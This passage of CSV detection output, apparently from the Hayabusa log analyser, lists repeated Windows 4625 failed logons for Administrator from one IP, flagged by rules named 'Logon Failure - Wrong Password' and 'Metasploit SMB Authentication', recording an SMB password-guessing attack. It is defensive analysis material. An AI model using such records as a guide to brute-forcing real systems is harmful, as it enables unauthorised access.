Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gkis4H1MIQPHUwqf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.965 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.009 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Lb6mH03qKLb8O7Dz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.009 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.051 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J10xEmhRNWfJ5FCI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.051 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.093 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5Dujj8A7wwzAwzCp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.093 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NVDE3fIoUQfLn3cd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.128 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.175 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UlD48O0XpFUnuSmo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.175 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.213 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KyTPKuspADmLpv0L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.213 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.260 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BdIAPiH32ZbmCgTK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.260 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.292 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1dEiN2xOA4E9Wl5p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.292 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.337 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fBeAez2fLjXB0dk3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.337 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.372 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gQ45aeMDc3Snabvv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.372 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.420 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QWSYdr4lJlhCLMMW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.420 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.462 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RgxHY7072aUCdfa0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.462 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.504 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9yKhEodJDTVCGdIG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.504 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.597 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z0odyPQmvkGRNWZF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.597 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.630 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b5uRpG0fxCK75DPV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.630 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.666 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: d9dcEzpJRW5YA8Bj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.666 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Hv3B9bwB1YIaBa6N : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.712 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.743 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lJf9Obml4aVxE5zp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.743 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.776 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mvnSOaRSkGU6Uf5q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.776 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.808 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JSAkZsZsv0SaLKaO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.808 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.847 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: r6rnM6QbwfbbrcGy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.847 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.888 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RX0GW7K5wdQJUx4Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.888 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xm7CpD5i735McsvS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.920 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.959 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bHxjZsnR25J47Ez8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.959 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.999 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J1JWj91m79FyykH6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.999 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.043 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h9i0GncOzpz5REWp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.043 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.085 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BODZRJ6G3xxw29VJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.085 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.127 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SJ2lq4piINfmI7Qe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.127 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.167 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NqDeXdOitJ3WY8w4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.167 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.217 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FnoHQf7QDxoI4tel : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.217 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.261 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FqkbgrtBa5VFxPry : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.261 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TMD57GtY15bfWBre : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.300 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.350 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e3lT9UgWr82PcAjf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.350 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.388 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SpwhTfFlvvccnI5N : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.388 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 10CfKdnvWf4UVuME : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.432 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.539 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YYLMax3okIqntHM1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.539 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.602 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qk9TPAK51EdVORwY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.602 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.670 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aVKRUnNu2nGslW7P : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.670 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZJ2AYRLcMbMVixg6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.720 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.759 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6Sl9ucxM2Nu3xjNq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.759 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.801 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AFeBGB6qA7OaYV7l : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.801 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.837 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KLUEKG9CzQYsH3Vp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.837 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.875 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vVZ44YKdRYY59zaC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.875 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.921 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: umU8pDDZFvvUVsHY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.921 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Nn7rA0uRegtHgaF1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.965 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2dgiakCKweT4GUGD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.008 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 